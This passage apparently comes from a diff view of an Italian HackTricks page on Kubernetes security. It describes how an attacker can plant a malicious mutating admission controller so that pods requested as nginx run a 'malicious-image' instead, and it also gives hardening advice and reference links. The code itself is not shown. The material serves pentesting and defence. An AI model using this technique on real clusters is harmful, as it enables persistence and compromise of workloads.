Se un attaccante riesce in qualche modo a **iniettare un Mutation Admission Controller**, sarà in grado di **modificare richieste già autenticate**. Essere in grado di potenzialmente privesc, e più comunemente persistere nel cluster.
|
||||||
|
|
||||||
**Esempio da** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
**Esempio da** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||||
```bash
|
```bash
|
||||||
@@ -647,7 +664,7 @@ kubectl describe po nginx | grep "Image: "
|
|||||||
|
|
||||||
Come puoi vedere nell'immagine sopra, abbiamo provato a eseguire l'immagine `nginx`, ma l'immagine finale eseguita è `rewanthtammana/malicious-image`. Cosa è appena successo!!?
|
Come puoi vedere nell'immagine sopra, abbiamo provato a eseguire l'immagine `nginx`, ma l'immagine finale eseguita è `rewanthtammana/malicious-image`. Cosa è appena successo!!?
|
||||||
|
|
||||||
#### Technicalities <a href="#heading-technicalities" id="heading-technicalities"></a>
|
#### Tecnicalità
|
||||||
|
|
||||||
Lo script `./deploy.sh` stabilisce un controller di ammissione webhook mutante, che modifica le richieste all'API di Kubernetes come specificato nelle sue righe di configurazione, influenzando i risultati osservati:
|
Lo script `./deploy.sh` stabilisce un controller di ammissione webhook mutante, che modifica le richieste all'API di Kubernetes come specificato nelle sue righe di configurazione, influenzando i risultati osservati:
|
||||||
```
|
```
|
||||||
@@ -672,7 +689,7 @@ Il frammento sopra sostituisce la prima immagine del container in ogni pod con `
|
|||||||
- **Pods e Account di Servizio**: Per impostazione predefinita, i pod montano un token di account di servizio. Per migliorare la sicurezza, Kubernetes consente di disabilitare questa funzionalità di automount.
|
- **Pods e Account di Servizio**: Per impostazione predefinita, i pod montano un token di account di servizio. Per migliorare la sicurezza, Kubernetes consente di disabilitare questa funzionalità di automount.
|
||||||
- **Come Applicare**: Imposta `automountServiceAccountToken: false` nella configurazione degli account di servizio o dei pod a partire dalla versione 1.6 di Kubernetes.
|
- **Come Applicare**: Imposta `automountServiceAccountToken: false` nella configurazione degli account di servizio o dei pod a partire dalla versione 1.6 di Kubernetes.
|
||||||
|
|
||||||
### **Assegnazione Utente Ristretto in RoleBindings/ClusterRoleBindings**
|
### **Assegnazione Ristretta degli Utenti in RoleBindings/ClusterRoleBindings**
|
||||||
|
|
||||||
- **Inclusione Selettiva**: Assicurati che solo gli utenti necessari siano inclusi in RoleBindings o ClusterRoleBindings. Esegui audit regolari e rimuovi utenti irrilevanti per mantenere una sicurezza rigorosa.
|
- **Inclusione Selettiva**: Assicurati che solo gli utenti necessari siano inclusi in RoleBindings o ClusterRoleBindings. Esegui audit regolari e rimuovi utenti irrilevanti per mantenere una sicurezza rigorosa.
|
||||||
|
|
||||||
@@ -699,5 +716,7 @@ https://github.com/aquasecurity/kube-bench
|
|||||||
- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
|
- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
|
||||||
- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
|
- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
|
||||||
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
|
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
|
||||||
|
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
|
||||||
|
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Reference in New Issue
Block a user